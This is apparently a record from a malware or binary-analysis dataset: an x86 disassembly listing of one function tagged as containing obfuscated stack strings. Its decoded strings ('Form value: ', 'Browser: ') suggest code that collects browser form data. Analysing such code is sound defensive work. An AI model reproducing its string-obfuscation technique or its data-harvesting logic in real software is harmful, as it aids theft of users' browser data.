Function at 0x413f55
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x2a0
mov eax, 0x4223d2
call fcn.00420a4f
mov esi, ecx
mov dword [ebp - 0x104], esi
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2ac]
call fcn.00404293
sub esp, 0x18
add esi, 0xa8
mov ecx, esp
push esi
call fcn.004051dd
call fcn.0041b179
add esp, 0x18
test eax, eax
je 0x413fb3
cmp dword [esi + 0x14], 0xf
jbe 0x413f9f
mov esi, dword [esi]
mov edx, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x2ac]
push esi
call fcn.00406f1f
call eax
push 0x48
call fcn.0041fc70
mov esi, eax
mov dword [ebp - 0x100], esi
sub esp, 0x14
xor edx, edx
mov ecx, esp
mov dword [ebp - 4], edx
mov edi, ecx
mov dword [ebp - 0xf8], esp
xor eax, eax
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop edi
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], edi
mov byte [ecx], dl
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push ebx
call fcn.004051dd
lea eax, [ebp - 0xf9]
mov byte [ebp - 4], 0
push eax
mov ecx, esi
call fcn.00405593
or dword [ebp - 4], 0xffffffff
mov esi, eax
cmp byte [ebp - 0xf9], 0
je 0x41442e
movaps xmm0, xmmword [0x402b70]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x41403a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, edi
jb 0x41402a
sub esp, 0x18
mov byte [ebp - 0x14], 0
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.0040406a
mov ecx, esi
call fcn.0040e054
test al, al
je 0x41442e
xor eax, eax
lea edi, [ebp - 0x60]
stosd dword es:[edi], eax
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], dl
mov dword [ebp - 4], 2
mov ecx, edx
movaps xmm0, xmmword [0x402bd0]
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x7c
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x4140a6
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x414096
mov edi, dword [ebp - 0x104]
lea eax, [ebp - 0x23]
mov byte [ebp - 0x13], dl
lea ecx, [ebp - 0xd8]
push eax
lea edx, [edi + 0x90]
call fcn.00407c78
sub esp, 0x14
mov byte [ebp - 4], 3
mov ecx, esp
push ebx
call fcn.004051dd
lea eax, [ebp - 0xc0]
mov ecx, edi
push eax
call fcn.00412ca0
mov byte [ebp - 4], 4
xor ebx, ebx
mov eax, dword [esi + 0x3c]
sub eax, dword [esi + 0x38]
push 0xc
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x100], eax
test eax, eax
jle 0x4143b7
push 2
push ebx
lea eax, [ebp - 0xa8]
mov ecx, esi
push eax
call fcn.0040e36c
mov byte [ebp - 4], 5
cmp dword [ebp - 0x98], 0
je 0x41439b
cmp dword [ebp - 0x98], 0x5a
jae 0x41439b
push 1
push ebx
lea eax, [ebp - 0x90]
mov ecx, esi
push eax
call fcn.0040e36c
mov edi, eax
mov byte [ebp - 4], 6
mov dl, 0x73
mov dword [ebp - 0x48], 0x75724973
xor ecx, ecx
mov dword [ebp - 0x44], 0x64712370
mov dword [ebp - 0x40], 0x233d6870
mov byte [ebp - 0x3c], 0
movsx eax, dl
and eax, 0x8000000f
jns 0x41417d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x47], al
inc ecx
cmp ecx, 0xb
jae 0x41418c
mov dl, byte [ebp - 0x48]
jmp 0x41416e
push edi
lea edx, [ebp - 0x47]
mov byte [ebp - 0x3c], 0
lea ecx, [ebp - 0x78]
call fcn.0040be48
pop ecx
mov byte [ebp - 4], 7
mov dl, 6
mov dword [ebp - 0xf4], 0xc0b06
xor ecx, ecx
xor byte [ebp + ecx - 0xf3], dl
inc ecx
cmp ecx, 2
jae 0x4141c4
mov dl, byte [ebp - 0xf4]
jmp 0x4141af
lea ecx, [ebp - 0xf3]
mov byte [ebp - 0xf1], 0
push ecx
mov edx, eax
lea ecx, [ebp - 0xf0]
call fcn.0040691f
pop ecx
mov byte [ebp - 4], 8
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x4141ee
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x60]
call fcn.004052bb
lea ecx, [ebp - 0xf0]
call fcn.0040400e
lea ecx, [ebp - 0x78]
call fcn.0040400e
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 5
call fcn.0040400e
mov cl, 0x36
mov dword [ebp - 0x20], 0x44597036
mov dword [ebp - 0x1c], 0x5740165b
xor eax, eax
mov dword [ebp - 0x18], 0xc53435a
mov word [ebp - 0x14], 0x16
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x41424a
mov cl, byte [ebp - 0x20]
jmp 0x41423b
lea eax, [ebp - 0xa8]
mov byte [ebp - 0x13], 0
push eax
lea edx, [ebp - 0x1f]
lea ecx, [ebp - 0x78]
call fcn.004169c6
pop ecx
mov edi, eax
mov byte [ebp - 4], 9
mov dl, 0x66
mov dword [ebp - 0xf8], 0x101366
xor ecx, ecx
movsx eax, dl
and eax, 0x8000000f
jns 0x414284
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xf7], al
inc ecx
cmp ecx, 2
jae 0x414299
mov dl, byte [ebp - 0xf8]
jmp 0x414275
lea eax, [ebp - 0xf7]
mov byte [ebp - 0xf5], 0
push eax
mov edx, edi
lea ecx, [ebp - 0x90]
call fcn.0040691f
pop ecx
mov byte [ebp - 4], 0xa
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x4142c3
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x60]
call fcn.004052bb
lea ecx, [ebp - 0x90]
call fcn.0040400e
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 5
call fcn.0040400e
mov cl, 0x5e
mov dword [ebp - 0x38], 0x312c1c5e
mov dword [ebp - 0x34], 0x2c3b2d29
xor eax, eax
mov word [ebp - 0x30], 0x7e64
mov byte [ebp - 0x2e], 0
xor byte [ebp + eax - 0x37], cl
inc eax
cmp eax, 9
jae 0x414311
mov cl, byte [ebp - 0x38]
jmp 0x414302
lea eax, [ebp - 0xc0]
mov byte [ebp - 0x2e], 0
push eax
lea edx, [ebp - 0x37]
lea ecx, [ebp - 0x78]
call fcn.004169c6
pop ecx
mov edx, eax
mov byte [ebp - 4], 0xb
mov cl, 0x29
mov dword [ebp - 0x2c], 0x24232429
xor eax, eax
mov word [ebp - 0x28], 0x23
xor byte [ebp + eax - 0x2b], cl
inc eax
cmp eax, 4
jae 0x41434e
mov cl, byte [ebp - 0x2c]
jmp 0x41433f
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x27], 0
push eax
lea ecx, [ebp - 0x90]
call fcn.0040691f
pop ecx
mov byte [ebp - 4], 0xc
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x414370
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x60]
call fcn.004052bb
lea ecx, [ebp - 0x90]
call fcn.0040400e
lea ecx, [ebp - 0x78]
call fcn.0040400e
mov eax, dword [ebp - 0x104]
inc dword [eax + 0xf8]
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 4
call fcn.0040400e
inc ebx
cmp ebx, dword [ebp - 0x100]
jl 0x41410b
cmp dword [ebp - 0x50], 0
je 0x414410
push ecx
push ecx
push 8
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0x1b4]
call fcn.004163e6
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x164], 0
je 0x4143f9
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x1b4]
call fcn.00416bb3
lea ecx, [ebp - 0x1b4]
call fcn.00416395
lea ecx, [ebp - 0x14c]
call fcn.004163b6
lea ecx, [ebp - 0x14c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0xc0]
call fcn.0040400e
lea ecx, [ebp - 0xd8]
call fcn.0040400e
lea ecx, [ebp - 0x60]
call fcn.0040400e
test esi, esi
je 0x414443
mov ecx, esi
call fcn.0040608d
push 0x48
push esi
call fcn.0041fca0
pop ecx
pop ecx
call fcn.00420a0d
ret 4